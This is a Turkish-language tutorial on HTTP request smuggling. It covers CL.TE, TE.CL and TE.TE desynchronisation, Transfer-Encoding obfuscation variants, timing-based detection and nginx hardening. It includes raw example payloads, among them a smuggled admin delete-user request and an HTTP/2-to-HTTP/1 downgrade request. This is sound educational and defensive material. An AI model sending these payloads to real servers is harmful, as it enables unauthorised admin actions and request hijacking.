HTTP Request Smuggling

Modern web uygulamaları genellikle kullanıcılar ve asıl uygulama mantığı arasında HTTP sunucu zinciri kullanır. Kullanıcılar istekleri front-end sunucuya (yük dengeleyici veya reverse proxy) gönderir ve bu sunucu istekleri bir veya daha fazla back-end sunucuya iletir.

Kullanıcı → Front-end Server → Back-end Server → Uygulama
             [İstek]      [İletim]       [İşleme]
             
Front-end ve back-end sunucunun aynı bağlantı üzerinden 
birden fazla HTTP isteğini sırayla göndermesi:

HTTP/1 spesifikasyonu, bir isteğin nerede bittiğini belirtmek için iki farklı yol sağlar: Content-Length header'ı ve Transfer-Encoding header'ı. Bu çifte standardın kötüye kullanılması request smuggling zafiyetlerinin temel nedenidir.

CL.TE saldırılarında front-end sunucu Content-Length header'ını kullanırken, back-end sunucu Transfer-Encoding header'ını kullanır.

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 13
Transfer-Encoding: chunked

0

SMUGGLED

TE.CL saldırılarında front-end sunucu Transfer-Encoding header'ını kullanırken, back-end sunucu Content-Length header'ını kullanır.

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 3
Transfer-Encoding: chunked

8
SMUGGLED
0

TE.TE saldırılarında hem front-end hem de back-end sunucular Transfer-Encoding header'ını destekler, ancak sunuculardan biri header'ın gizlenmiş versiyonunu işlemez.

// Farklı Obfuscation Teknikleri:

Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked

Request smuggling zafiyetlerini tespit etmek için farklı teknikler kullanılabilir. En etkili yöntem timing tabanlı tespit teknikleridir.

// Timing Tabanlı Tespit
POST / HTTP/1.1
Host: target.com
Content-Length: 4
Transfer-Encoding: chunked

1
Z
Q

HTTP Request Smuggling ile yapılabilecek saldırı türleri ve bunların potansiyel etkileri aşağıda açıklanmıştır.

// Admin Panel Erişimi
POST /admin HTTP/1.1
Host: target.com
Content-Length: 37
Transfer-Encoding: chunked

0

GET /admin/delete-user?id=123 HTTP/1.1
X:

HTTP Request Smuggling saldırılarından korunmak için çeşitli güvenlik önlemleri alınabilir. En etkili yaklaşım, sistemi tamamen HTTP/2 kullanacak şekilde yapılandırmaktır.

// Nginx Yapılandırması
server {
    # HTTP/2 zorla
    listen 443 ssl http2;
    
    # Belirsiz header'ları reddet
    if ($http_transfer_encoding ~* "chunked.*chunked") {
        return 400;
    }
    
    # Content-Length doğrulaması
    client_max_body_size 1m;
}

Modern web uygulamalarında HTTP/2 to HTTP/1 downgrading ve browser-powered request smuggling gibi gelişmiş teknikler ortaya çıkmıştır.

// HTTP/2 to HTTP/1 Downgrading Exploit
:method: POST
:path: /
:authority: target.com
content-length: 0

GET /admin HTTP/1.1
Host: target.com